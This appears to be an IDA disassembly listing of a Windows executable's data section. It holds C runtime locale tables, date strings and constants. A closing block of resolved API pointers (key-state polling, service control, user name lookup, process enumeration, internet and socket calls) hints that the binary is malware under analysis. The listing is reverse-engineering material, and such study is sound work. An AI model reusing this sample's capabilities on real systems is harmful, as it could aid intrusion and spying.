off_445184 dd offset dword_4DDFF0 ; DATA XREF: sub_41BBA0+29r
; sub_41BBE0+8Fr
dd 7 dup(0)
off_4451A4 dd offset dword_4DE020 ; DATA XREF: sub_41BBA0+1Cr
; sub_41BBE0:loc_41BC49r
dd 3 dup(0)
off_4451B4 dd offset dword_4DE038 ; DATA XREF: sub_41BBA0+Fr
; sub_41BBE0+75r
dd 3 dup(0)
off_4451C4 dd offset dword_4DE008 ; DATA XREF: sub_41BBA0+3r
; sub_41BBE0+82r
dd 7 dup(0)
dd 9330D8h, 16h dup(0)
off_445240 dd offset sub_41C010 ; DATA XREF: sub_4151D0+79r
; sub_415640+C1r ...
align 8
off_445248 dd offset off_445248 ; DATA XREF: sub_41E750+Fo
; sub_41E750+7Ao ...
off_44524C dd offset off_445248 ; DATA XREF: sub_41E750:loc_41E7E6r
; sub_41E750+9Fw ...
dd offset dword_445260
dd offset dword_445260
dword_445258 dd 0FFFFFFFFh ; sub_41E930:loc_41E997w
dd 0FFFFFFFFh
dword_445260 dd 0F0h, 0F1h, 13Ah dup(0) ; .data:00445254o
dword_445750 dd 6C6h dup(0) off_447268 dd offset off_445248 ; DATA XREF: sub_41E930+17r
; sub_41E930+28w ...
dword_44726C dd 1E0h ; sub_41C020+146r ...
dd 10h
off_447274 dd offset word_44727E ; DATA XREF: sub_417160+7Cr
; sub_417860+2Dr ...
off_447278 dd offset word_44727E ; DATA XREF: .data:0042D124w
; .data:0042D1DBw
db 2 dup(0)
word_44727E dw 20h ; DATA XREF: .data:loc_42D1D1o
; .data:0042D1DBo ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_447480 dd 1 ; sub_417860:loc_417866r ...
byte_447484 db 2Eh ; DATA XREF: sub_4236C0:loc_424547r
; sub_4236C0+ED2r ...
align 4
dword_447488 dd 1 ; sub_42C6F0+296w
align 10h
off_447490 dd offset aNull_1 ; DATA XREF: sub_4209A0:loc_420DE2r
; sub_4209A0+57Cr
; "(null)"
off_447494 dd offset aNull_0 ; DATA XREF: sub_4209A0+514r
; "(null)"
dword_447498 dd 4 ; sub_421840+14r ...
align 10h
byte_4474A0 db 1 ; DATA XREF: sub_421AF0+12Fr
db 2, 4, 8
align 8
dword_4474A8 dd 3A4h word_4474AC dw 8260h ; DATA XREF: sub_421AF0+192r
dw 8279h
dd 21h, 0
dword_4474B8 dd 0DFA6h align 10h
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_447598 dd 1 dword_44759C dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch, 42A4F0h, 3 dup(0)
off_447710 dd offset sub_423580 ; DATA XREF: sub_423630+2Dr
; sub_423630+3Dr
dword_447714 dd 0D2D0920h, 5Dhdword_44771C dd 5Dh dword_447720 dd 14h off_447724 dd offset aExp ; DATA XREF: sub_425770+2Er
; "exp"
dd 1Dh, 4352E4h, 1Ah, 4352E0h, 1Bh, 4352D8h, 1Fh, 4352D0h
dd 13h, 4352C8h, 21h, 4352C0h, 0Eh, 4352B8h, 0Dh, 4352B0h
dd 0Fh, 4352A8h, 10h, 4352A0h, 5, 435298h, 1Eh, 435294h
dd 12h, 435290h, 20h, 43528Ch, 0Ch, 435284h, 0Bh, 43527Ch
dd 15h, 435274h, 1Ch, 43526Ch, 19h, 435264h, 11h, 43525Ch
dd 18h, 435254h, 16h, 43524Ch, 17h, 435244h, 22h, 435240h
dd 23h, 43523Ch, 24h, 435238h
dbl_4477F8 dq 1.797693134862316e308 ; DATA XREF: sub_425310+E4r
; sub_425310:loc_425407r ...
dd 0
dd 0FFF80000h
dbl_447808 dq 1.797693134862316e308 ; DATA XREF: sub_425310:loc_42544Ar
; sub_425310+167r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_447820 dt 2.3562723457267347066e313 ; DATA XREF: sub_425B60+13r
; sub_425B60+2Ar
align 4
tbyte_44782C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_425B60+41r
align 4
off_447838 dd offset sub_426350 ; DATA XREF: sub_4198B0+3w
; sub_4209A0+6ADr
off_44783C dd offset sub_425D60 ; DATA XREF: sub_4198B0+Dw
; sub_4209A0+6F1r
off_447840 dd offset sub_425E70 ; DATA XREF: sub_4198B0+17w
; sub_4236C0+1138r
off_447844 dd offset sub_425CB0 ; DATA XREF: sub_4198B0+21w
; sub_4209A0+6CFr
off_447848 dd offset sub_425E40 ; DATA XREF: sub_4198B0+2Bw
off_44784C dd offset sub_426350 ; DATA XREF: sub_4198B0+35w
dword_447850 dd 43h ; .data:00447970o ...
dword_447854 dd 43h, 20h dup(0) ; sub_4271E0+117o ...
dword_4478D8 dd 43h, 21h dup(0) ; sub_4271E0+FCo ...
off_447960 dd offset aLc_all ; DATA XREF: .data:00426CCFr
; .data:00426CE8r ...
; "LC_ALL"
dword_447964 dd 0 ; .data:00426E70r ...
off_447968 dd offset sub_427370 ; DATA XREF: sub_426F40+12Br
dd offset aLc_collate ; "LC_COLLATE"
dd offset dword_447850
dd offset sub_42D220
dd offset aLc_ctype ; "LC_CTYPE"
off_44797C dd offset dword_447850 ; DATA XREF: sub_4270E0+F0r
; ---------------------------------------------------------------------------
or dh, 42h
add [ebx+edx*2+43h], al
add [eax+78h], dl
inc esp
add [eax], ah
retf 42h
; ---------------------------------------------------------------------------
dd offset aLc_numeric ; "LC_NUMERIC"
dd offset dword_447850
dd offset sub_42C6F0
dd offset aLc_time ; "LC_TIME"
dd offset dword_447850
dd offset sub_42BD70
dword_4479A8 dd 0C0000005h, 0Bh, 0 ; .data:00421A8Eo ...
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_447A20 dd 3 ; sub_427900:loc_4279ABr ...
dword_447A24 dd 7 ; sub_429130+17Dr
dword_447A28 dd 78h ; .data:00428FC6r
dword_447A2C dd 0Ah ; sub_427AC0:loc_427AF2r ...
dword_447A30 dd 0FFFFFFFFh, 0A00h, 8 dup(0) ; sub_420720:loc_420919o
dword_447A58 dd 2 ; sub_428880+3Dr ...
off_447A5C dd offset aR6002FloatingP ; DATA XREF: sub_428880+56r
; sub_428880+98r ...
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 43561Ch, 9, 4355F0h, 0Ah, 4355CCh, 10h, 4355A0h
dd 11h, 435570h, 12h, 43554Ch, 13h, 435520h, 18h, 4354E8h
dd 19h, 4354C0h, 1Ah, 435488h, 1Bh, 435450h, 1Ch, 435428h
dd 78h, 435418h, 79h, 435408h, 7Ah, 4353F8h, 0FCh, 4353F4h
dd 0FFh, 4353E4h, 2 dup(0)
dword_447AF0 dd 2694h ; .data:00424C4Fr ...
align 8
dword_447AF8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_447B10 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh, 2 dup(0)dword_447B30 dd 40Ah ; sub_42DDD0+147r
a040a db '040a',0 ; DATA XREF: sub_42DDD0+9Ao
align 4
off_447B3C dd offset aSpanishTraditi ; DATA XREF: sub_42DDD0+ABr
; "Spanish - Traditional Sort"
dword_447B40 dd 505345h off_447B44 dd offset aSpain ; DATA XREF: sub_42DDD0+CDr
; "Spain"
dword_447B48 dd 505345h dword_447B4C dd 303538h, 0 a1252 db '1252',0 ; DATA XREF: sub_42DDD0+100o
align 4
dd 40Bh, 62303430h, 0
dd offset aFinnish ; "Finnish"
dd offset word_4E4946
dd offset aFinland ; "Finland"
dd offset word_4E4946
dd 303538h, 0
a1252_0 db '1252',0
align 4
dd 40Ch, 63303430h, 0
dd offset aFrench ; "French"
dd offset loc_415245+1
dd offset aFrance ; "France"
dd offset loc_415245+1
dd 303538h, 0
a1252_1 db '1252',0
align 4
dd 40Fh, 66303430h, 0
dd offset aIcelandic ; "Icelandic"
dd offset byte_4C5349
dd offset aIceland ; "Iceland"
dd offset byte_4C5349
dd 303538h, 0
a1252_2 db '1252',0
align 10h
dd 41Dh, 64313430h, 0
dd offset aSwedish ; "Swedish"
dd offset byte_455653
dd offset aSweden ; "Sweden"
dd offset byte_455753
dd 303538h, 0
a1252_3 db '1252',0
align 4
dd 42Dh, 64323430h, 0
dd offset aBasque ; "Basque"
dd 515545h, 4358D8h, 505345h, 303538h, 0
a1252_4 db '1252',0
align 4
db 0Ah
db 8,0
align 4
a080a db '080a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_4D5345
dd offset aMexico ; "Mexico"
dd 58454Dh, 303538h, 0
a1252_5 db '1252',0
align 4
dd 80Ch, 63303830h, 0
dd offset aFrench ; "French"
dd offset loc_425246
dd offset aBelgium ; "Belgium"
dd offset word_4C4542
dd 303538h, 0
a1252_6 db '1252',0
align 10h
dd 0C07h, 37306330h, 0
dd offset aGerman ; "German"
dd offset loc_414542+2
dd offset aAustria ; "Austria"
dd 545541h, 303538h, 0
a1252_7 db '1252',0
align 4
dd 0C09h, 39306330h, 0
dd offset aEnglish ; "English"
dd offset loc_414E43+2
dd offset aAustralia ; "Australia"
dd 535541h, 303538h, 0
a1252_8 db '1252',0
align 4
dd 0C0Ah, 61306330h, 0
dd offset aSpanishModernS ; "Spanish - Modern Sort"
dd offset byte_4E5345
dd offset aSpain ; "Spain"
dd 505345h, 303538h, 0
a1252_9 db '1252',0
align 4
dd 0C0Ch, 63306330h, 0
dd offset aFrench ; "French"
dd offset dword_435230+16h
dd offset aCanada ; "Canada"
dd offset byte_4E4143
dd 303538h, 0
a1252_10 db '1252',0
align 10h
dd 100Ah, 61303031h, 0
dd offset aSpanish ; "Spanish"
dd offset byte_475345
dd offset aGuatemala ; "Guatemala"
dd offset byte_4D5447
dd 303538h, 0
a1252_11 db '1252',0
align 4
dd 100Ch, 63303031h, 0
dd offset aFrench ; "French"
dd 535246h, 435818h, 454843h, 303538h, 0
a1252_12 db '1252',0
align 4
dd 140Ah, 61303431h, 0
dd offset aSpanish ; "Spanish"
dd offset aLc_monetary+1
dd offset aCostaRica ; "Costa Rica"
dd offset byte_495243
dd 303538h, 0
a1252_13 db '1252',0
align 4
dd 140Ch, 63303431h, 0
dd offset aFrench ; "French"
dd offset word_4C5246
dd offset aLuxembourg ; "Luxembourg"
dd 58554Ch, 303538h, 0
a1252_14 db '1252',0
align 10h
dd 180Ah, 61303831h, 0
dd offset aSpanish ; "Spanish"
dd offset loc_415344+1
dd offset aPanama ; "Panama"
dd offset dword_4E4150
dd 303538h, 0
a1252_15 db '1252',0
align 4
dd 1C09h, 39306331h, 0
dd offset aEnglish ; "English"
dd 534E45h, 4357E8h, 46415Ah, 373334h, 0
a1252_16 db '1252',0
align 4
dd 1C0Ah, 61306331h, 0
dd offset aSpanish ; "Spanish"
dd offset dword_445260+0E5h
dd offset aDominicanRepub ; "Dominican Republic"
dd offset dword_4D4F44
dd 303538h, 0
a1252_17 db '1252',0
align 4
db 0Ah
db ' ',0
align 4
a200a db '200a',0
align 10h
dd offset aSpanish ; "Spanish"
dd 565345h, 4357C8h, 4E4556h, 303538h, 0
a1252_18 db '1252',0
align 10h
db 0Ah
db '$',0
align 4
a240a db '240a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_4F5345
dd offset aColombia ; "Colombia"
dd offset byte_4C4F43
dd 303538h, 0
a1252_19 db '1252',0
align 4
db 0Ah
db '(',0
align 10h
a280a db '280a',0
align 4
dd offset aSpanish ; "Spanish"
dd 525345h, 4357B4h, 524550h, 303538h, 0
a1252_20 db '1252',0
align 4
db 0Ah
db ',',0
align 4
a2c0a db '2c0a',0
align 4
dd offset aSpanish ; "Spanish"
dd 535345h, 4357A8h, 475241h, 303538h, 0
a1252_21 db '1252',0
align 4
a0 db 0Ah
db '0',0
align 4
a300a db '300a',0
align 10h
dd offset aSpanish ; "Spanish"
dd offset byte_465345
dd offset aEcuador ; "Ecuador"
dd 554345h, 303538h, 0
a1252_22 db '1252',0
align 10h
a4 db 0Ah
db '4',0
align 4
a340a db '340a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_4C5345
dd offset aChile ; "Chile"
dd offset byte_4C4843
dd 303538h, 0
a1252_23 db '1252',0
align 4
a8 db 0Ah
db '8',0
align 10h
a380a db '380a',0
align 4
dd offset aSpanish ; "Spanish"
dd 595345h, 435790h, 595255h, 303538h, 0
a1252_24 db '1252',0
align 4
db 0Ah
db '<',0
align 4
a3c0a db '3c0a',0
align 4
dd offset aSpanish ; "Spanish"
dd 5A5345h, 435784h, 595250h, 303538h, 0
a1252_25 db '1252',0
align 4
word_447FD4 dw 0C0Ch, 0C1Ah, 1007h, 436h, 80Ch, 42Dh, 403h, 100Ch
; DATA XREF: sub_42DCA0+34r
dw 810h, 81Dh
off_447FE8 dd offset aAmerica ; DATA XREF: sub_42D2B0+9Co
; "america"
dd offset loc_415354+1
dd offset aBritain ; "britain"
dd 524247h, 4359D8h, 4E4843h, 4359D0h, 455A43h, 4359C8h
dd 524247h, 4359B8h, 524247h, 4359B0h, 444C4Eh, 4359A4h
dd 474B48h, 435998h, 4C5A4Eh, 435994h, 4C5A4Eh, 435988h
dd 4E4843h, 43597Ch, 4E4843h, 435970h, 495250h, 435968h
dd 4B5653h, 435958h, 46415Ah, 43594Ch, 524F4Bh, 43593Ch
dd 46415Ah, 435930h, 524F4Bh, 43591Ch, 4F5454h, 4359F8h
dd 524247h, 43590Ch, 524247h, 4358FCh, 415355h, 4359F4h
dd 415355h
off_4480A0 dd offset aAmerican ; DATA XREF: sub_42D2B0+67o
; "american"
dd 554E45h, 435DE4h, 554E45h, 435DD0h, 554E45h, 435DC4h
dd 414E45h, 435DBCh, 424C4Eh, 435DB0h, 434E45h, 435DACh
dd 48485Ah, 435DA8h, 49485Ah, 435DA0h, 534843h, 435D8Ch
dd 48485Ah, 435D78h, 534843h, 435D64h, 49485Ah, 435D50h
dd 544843h, 435D40h, 424C4Eh, 435D2Ch, 554E45h, 435D20h
dd 414E45h, 435D10h, 4C4E45h, 435D04h, 434E45h, 435CF0h
dd 424E45h, 435CE4h, 494E45h, 435CD4h, 4A4E45h, 435CC8h
dd 5A4E45h, 435CB0h, 534E45h, 435C94h, 544E45h, 435C88h
dd 474E45h, 435C7Ch, 554E45h, 435C70h, 554E45h, 435C60h
dd 425246h, 435C50h, 435246h, 435C3Ch, 4C5246h, 435C2Ch
dd 535246h, 435C1Ch, 414544h, 435C08h, 434544h, 435BF4h
dd 4C4544h, 435BE4h, 534544h, 435BD4h, 494E45h, 435BC4h
dd 535449h, 435BB8h, 524F4Eh, 435BA4h, 524F4Eh, 435B90h
dd 4E4F4Eh, 435B78h, 425450h, 435B64h, 535345h, 435B54h
dd 425345h, 435B44h, 4C5345h, 435B30h, 4F5345h, 435B1Ch
dd 435345h, 435B00h, 445345h, 435AF0h, 465345h, 435ADCh
dd 455345h, 435AC8h, 475345h, 435AB4h, 485345h, 435AA4h
dd 4D5345h, 435A94h, 4E5345h, 435A80h, 495345h, 435A70h
dd 415345h, 435A5Ch, 5A5345h, 435A4Ch, 525345h, 435A38h
dd 555345h, 435A28h, 595345h, 435A14h, 565345h, 435A04h
dd 465653h, 4359FCh, 534544h, 4359F8h, 474E45h, 4359F4h
dd 554E45h, 4359F0h, 554E45h
off_4482A8 dd offset off_4482B0 ; DATA XREF: sub_42BD70+70w
; sub_42BD70:loc_42BE11w ...
align 10h
off_4482B0 dd offset aSun ; DATA XREF: sub_42BD70:loc_42BE11o
; .data:off_4482A8o
; "Sun"
dd offset aMon ; "Mon"
dd offset aTue ; "Tue"
dd offset aWed ; "Wed"
dd offset aThu ; "Thu"
dd offset aFri ; "Fri"
dd offset aSat ; "Sat"
dd offset aSunday ; "Sunday"
dd offset aMonday ; "Monday"
dd offset aTuesday ; "Tuesday"
dd offset aWednesday ; "Wednesday"
dd offset aThursday ; "Thursday"
dd offset aFriday ; "Friday"
dd offset aSaturday ; "Saturday"
dd offset aJan ; "Jan"
dd offset aFeb ; "Feb"
dd offset aMar ; "Mar"
dd offset aApr ; "Apr"
dd offset aMay ; "May"
dd offset aJun ; "Jun"
dd offset aJul ; "Jul"
dd offset aAug ; "Aug"
dd offset aSep ; "Sep"
dd offset aOct ; "Oct"
dd offset aNov ; "Nov"
dd offset aDec ; "Dec"
dd offset aJanuary ; "January"
dd offset aFebruary ; "February"
dd offset aMarch ; "March"
dd offset aApril ; "April"
dd offset aMay ; "May"
dd offset aJune ; "June"
dd offset aJuly ; "July"
dd offset aAugust ; "August"
dd offset aSeptember ; "September"
dd offset aOctober ; "October"
dd offset aNovember ; "November"
dd offset aDecember ; "December"
dd offset aAm_0 ; "AM"
dd offset aPm_1 ; "PM"
dd offset aMDYy ; "M/d/yy"
dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy"
dd offset aHMmSs ; "H:mm:ss"
align 10h
dword_448360 dd 2Eh, 0 ; .data:off_448368o
off_448368 dd offset dword_448360 ; DATA XREF: .data:0042CAF4w
; .data:0042CB16o ...
off_44836C dd offset dword_4DE238 ; DATA XREF: .data:0042CB02w
off_448370 dd offset dword_4DE238 ; DATA XREF: .data:0042CB11w
dd offset dword_4DE238
dd offset dword_4DE238
dd offset dword_4DE238
dd offset dword_4DE238
dd offset dword_4DE238
dd offset dword_4DE238
dd offset dword_4DE238
dd 2 dup(7F7F7F7Fh)
off_448398 dd offset off_448368 ; DATA XREF: sub_42C6F0:loc_42C7D9r
; sub_42C6F0+F8r ...
align 10h
dword_4483A0 dd 7080h ; sub_431AB0+9Br ...
dword_4483A4 dd 1 ; sub_431AB0:loc_431B8Ew ...
dword_4483A8 dd 0FFFFF1F0h ; sub_431AB0+E8w ...
dword_4483AC dd 545350h, 0Fh dup(0)dword_4483EC dd 544450h, 0Fh dup(0)off_44842C dd offset dword_4483AC ; DATA XREF: sub_430010+534r
; sub_431AB0+FAr ...
off_448430 dd offset dword_4483EC ; DATA XREF: sub_431AB0+140r
; sub_431AB0+16Ar ...
align 8
dword_448438 dd 0FFFFFFFFh ; sub_431E90+1Ar ...
dword_44843C dd 0 ; sub_431E90+20Fr ...
dword_448440 dd 0 ; sub_432190+13Dw
align 8
dword_448448 dd 0FFFFFFFFh ; sub_431AB0+2Br ...
dword_44844C dd 0 ; sub_431E90+21Dr ...
dword_448450 dd 0 ; sub_432190+177w ...
align 8
dword_448458 dd 2 dup(0) dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_4485B8 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_431980+2Ao
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh
dword_448710 dd 0AD8A6DDh ; sub_432190+E9r
dword_448714 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_448744 dd 16Dh ; sub_432190+F8r
dword_448748 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
off_448780 dd offset off_4360FC ; DATA XREF: .data:off_436120o
; .data:0043624Co ...
align 8
a_?avexception@ db '.?AVexception@@',0
off_448798 dd offset off_4360FC ; DATA XREF: .data:off_436138o
; .data:0043617Co ...
align 10h
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_4487B8 dd offset off_4360FC ; DATA XREF: .data:off_436188o
; .data:004361CCo ...
align 10h
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_4487D8 dd offset off_4360FC ; DATA XREF: .data:off_4361D8o
; .data:0043621Co ...
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_4487F8 dd offset off_4360FC ; DATA XREF: .data:off_436258o
; .data:00436294o
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_42A4F0
align 8
dword_448818 dd 0 dword_44881C dd 0 dword_448820 dd 0 ; sub_401C87+AD6o ...
dd 5 dup(0)
dword_448838 dd 0 ; sub_40F82F+60r
dd 2D9h dup(0)
dword_4493A0 dd 0 ; sub_401C87+4AAFr ...
dd 7Fh dup(0)
dword_4495A0 dd 0 ; sub_40979E+3Aw ...
dword_4495A4 dd 0 ; sub_40979E+40w ...
dword_4495A8 dd 0 ; sub_40979E+34r ...
dword_4495AC dd 0 ; sub_4019A5+B9w ...
dword_4495B0 dd 0 ; sub_409979+2Aw ...
dword_4495B4 dd 0 ; sub_401404+441w ...
byte_4495B8 db 0 ; DATA XREF: sub_4019A5+91o
; sub_401C87+49FAr ...
align 4
dd 3025h dup(0)
db 3 dup(0)
byte_455653 db 0 ; DATA XREF: .data:00447BF0o
dd 3Fh dup(0)
db 3 dup(0)
byte_455753 db 0 ; DATA XREF: .data:00447BF8o
dd 3EFCh dup(0)
db 0
byte_465345 db 3 dup(0) ; DATA XREF: .data:00447F34o
dd 3FFFh dup(0)
db 0
byte_475345 db 3 dup(0) ; DATA XREF: .data:00447D50o
dd 7FBEh dup(0)
db 3 dup(0)
byte_495243 db 0 ; DATA XREF: .data:00447DB0o
dd 0BCBFh dup(0)
db 2 dup(0)
word_4C4542 dw 0 ; DATA XREF: .data:00447C7Co
dd 0BFh dup(0)
db 3 dup(0)
byte_4C4843 db 0 ; DATA XREF: .data:00447F68o
dd 1BFh dup(0)
db 3 dup(0)
byte_4C4F43 db 0 ; DATA XREF: .data:00447EB8o
dd 0C0h dup(0)
db 2 dup(0)
word_4C5246 dw 0 ; DATA XREF: .data:00447DD4o
dd 3Fh dup(0)
db 0
byte_4C5345 db 3 dup(0) ; DATA XREF: .data:00447F60o
db 0
byte_4C5349 db 3 dup(0) ; DATA XREF: .data:00447BC4o
; .data:00447BCCo
dd 3B81h dup(0)
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: .data:off_4431E8o
dd 37Ch dup(0)
dword_4D4F44 dd 100h dup(0) db 0
byte_4D5345 db 3 dup(0) ; DATA XREF: .data:00447C48o
dd 3Fh dup(0)
db 3 dup(0)
byte_4D5447 db 0 ; DATA XREF: .data:00447D58o
dd 3D6h dup(0)
dword_4D63A0 dd 920Dh ; sub_409663+13o ...
dword_4D63A4 dd 2FE1h ; sub_401C87:loc_404159r ...
dword_4D63A8 dd 0 dword_4D63AC dd 20h dup(0) ; sub_401404+50Do ...
dword_4D642C dd 10h dup(0) dword_4D646C dd 24h dup(0) dword_4D64FC dd 0 ; sub_401404+524w ...
dword_4D6500 dd 0 dd 2 dup(0)
byte_4D650C db 0 ; DATA XREF: sub_401404+4B2o
; sub_401404+530o
byte_4D650D db 0 ; DATA XREF: sub_401404:loc_401944r
; sub_401404+54Eo
byte_4D650E db 0 ; DATA XREF: sub_401404+564o
byte_4D650F db 0 ; DATA XREF: sub_401404+576o
db 0
byte_4D6511 db 3 dup(0) ; DATA XREF: .data:00437810o
dword_4D6514 dd 0 ; sub_401404+4E2r ...
dword_4D6518 dd 0 ; sub_401C87+87Br
byte_4D651C db 0 ; DATA XREF: sub_401404+23Eo
byte_4D651D db 0 ; DATA XREF: sub_401C87+1AD1o
word_4D651E dw 0 ; DATA XREF: sub_401C87+47ECo
dword_4D6520 dd 0 dword_4D6524 dd 77F16E6Fh ; resolved to->GDI32.DeleteDC ; sub_4076E5+4EBr ...
dword_4D6528 dd 7C864230h ; resolved to->KERNEL32.Module32First ; sub_4137F3+163r
dword_4D652C dd 42C5AE03h ; resolved to->WININET.InternetGetConnectedStateExA ; sub_4076E5+880r ...
dword_4D6530 dd 5B894364h ; sub_4076E5+A43r ...
dword_4D6534 dd 5B86FEB8h ; sub_4076E5+A13r ...
dword_4D6538 dd 77F15B80h ; resolved to->GDI32.SelectObject ; sub_4076E5+4DBr ...
dword_4D653C dd 7E41C505h ; resolved to->USER32.GetKeyState ; sub_4076E5+234r
dword_4D6540 dd 5B894160h ; sub_4076E5+A3Br ...
dword_4D6544 dd 77DEB88Ch ; resolved to->ADVAPI32.OpenServiceA ; sub_4076E5+3C7r ...
dword_4D6548 dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameA ; sub_4147AC+11Er
dword_4D654C dd 77DF3238h ; resolved to->ADVAPI32.StartServiceA ; sub_4076E5+3CFr ...
dword_4D6550 dd 77DFCF32h ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_41285C+ADr
dword_4D6554 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSet ; sub_40D826+115r
dword_4D6558 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_4076E5+D2r ...
dword_4D655C dd 5B86FDE8h ; sub_4076E5+A06r ...
dword_4D6560 dd 77DE5E4Dh ; resolved to->ADVAPI32.CloseServiceHandle ; sub_4076E5+3E7r ...
dword_4D6564 dd 42C41384h ; resolved to->WININET.InternetCrackUrlA ; sub_4076E5+8ACr ...
dword_4D6568 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_4076E5+2F0r ...
